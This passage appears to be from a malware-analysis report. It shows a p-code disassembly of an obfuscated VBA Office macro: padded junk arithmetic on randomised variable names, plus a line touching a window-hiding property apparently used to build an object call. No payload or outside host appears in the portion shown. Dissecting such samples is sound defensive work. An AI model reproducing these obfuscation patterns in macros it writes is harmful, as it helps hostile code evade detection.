' 	Sub 
' 	Paren 
' 	St HAcAAA 
' Line #55:
' 	Ld TkUQABA 
' 	Ld YA4XD_o 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld qUAADA 
' 	LitDI4 0xC8A1 0x0D19 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld lkAZAAoB 
' 	Div 
' 	LitDI4 0x3845 0x39E2 
' 	Ld HAAkQAZD 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld GBXocA 
' 	Div 
' 	LitDI4 0x62B0 0x3931 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x0573 0x198E 
' 	Mul 
' 	Ld CcAZBAU 
' 	LitDI4 0x2C8D 0x333A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St iAAB_QC 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	LitDI4 0x631D 0x0009 
' 	LitDI4 0x631D 0x0009 
' 	Eq 
' 	IfBlock 
' Line #58:
' 	Ld SAADXwUA 
' 	Ld QUQXBA 
' 	Eq 
' 	IfBlock 
' Line #59:
' 	LitDI4 0x1E2F 0x1390 
' 	Ld DBAAUZc 
' 	Ld VQXBAoA 
' 	Mul 
' 	LitDI4 0x6066 0x09E0 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St IQAAkBA 
' Line #60:
' 	Ld RAZxXDcB 
' 	Ld uQB_ACA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld KAocDA1x 
' 	LitDI4 0xE016 0x36BF 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld QADAAQC 
' 	Div 
' 	LitDI4 0xBE03 0x2D38 
' 	Ld nAAACA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld BoAA_QQ 
' 	Div 
' 	LitDI4 0x6D1E 0x2AA6 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x46B0 0x20E7 
' 	Mul 
' 	Ld U1oDADo 
' 	LitDI4 0x4D51 0x2D61 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St OXA_AAQ 
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	Ld kZxACC 
' 	Ld YBko1xQ 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	LitDI4 0xC962 0x1E18 
' 	Ld awAB1A 
' 	Ld MQAQAA 
' 	Mul 
' 	LitDI4 0x8662 0x147C 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St hBAAQZA 
' Line #64:
' 	Ld GDwkAA 
' 	Ld wwAAABD 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld bQABUUDQ 
' 	LitDI4 0x95C8 0x1831 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld cDwBUkXk 
' 	Div 
' 	LitDI4 0xE736 0x1DCD 
' 	Ld aUAAQw_D 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld XABBoAU 
' 	Div 
' 	LitDI4 0x916E 0x1F26 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xB691 0x0480 
' 	Mul 
' 	Ld SckBBUDA 
' 	LitDI4 0x911D 0x3454 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St nCCD1U 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	Ld McxAZUoZ 
' 	Ld pAwDGAU 
' 	Eq 
' 	IfBlock 
' Line #67:
' 	LitDI4 0x1075 0x26A1 
' 	Ld iAwxUU 
' 	Ld wQZZD1D 
' 	Mul 
' 	LitDI4 0x5CB9 0x1249 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St bQAZwAcU 
' Line #68:
' 	Ld VAB4AcAA 
' 	Ld aAxXcQ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld CUwkDA 
' 	LitDI4 0xE898 0x0C2B 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld WADXoUCG 
' 	Div 
' 	LitDI4 0xBFB4 0x0242 
' 	Ld IQQABQx 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld WQ1CDADA 
' 	Div 
' 	LitDI4 0x7A71 0x1723 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x505D 0x1590 
' 	Mul 
' 	Ld HUxQoD 
' 	LitDI4 0xBE20 0x169D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St pCAQAAk 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	Ld ShOwWiNdOw 
' 	Ld wwDAAAU1 
' 	MemLd mQcZAwA 
' 	Add 
' 	Ld GAQBA_ 
' 	Add 
' 	Ld wABBoA 
' 	MemSt ScCkAAZC 
' Line #71:
' 	Ld vAAA_Ac 
' 	Ld oAkA4A 
' 	Eq 
' 	IfBlock 
' Line #72:
' 	LitDI4 0xA625 0x1388 
' 	Ld zABAAkQ 
' 	Ld FAkAC4 
' 	Mul 
' 	LitDI4 0xC945 0x0455 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St UAGBAZA4 
' Line #73:
' 	Ld wAoBoA 
' 	Ld uUAAcA 
' 	ArgsLd Oct 0x0001 
' 	Div 
…

Open this report in the interactive analyzer, or submit your own file for analysis.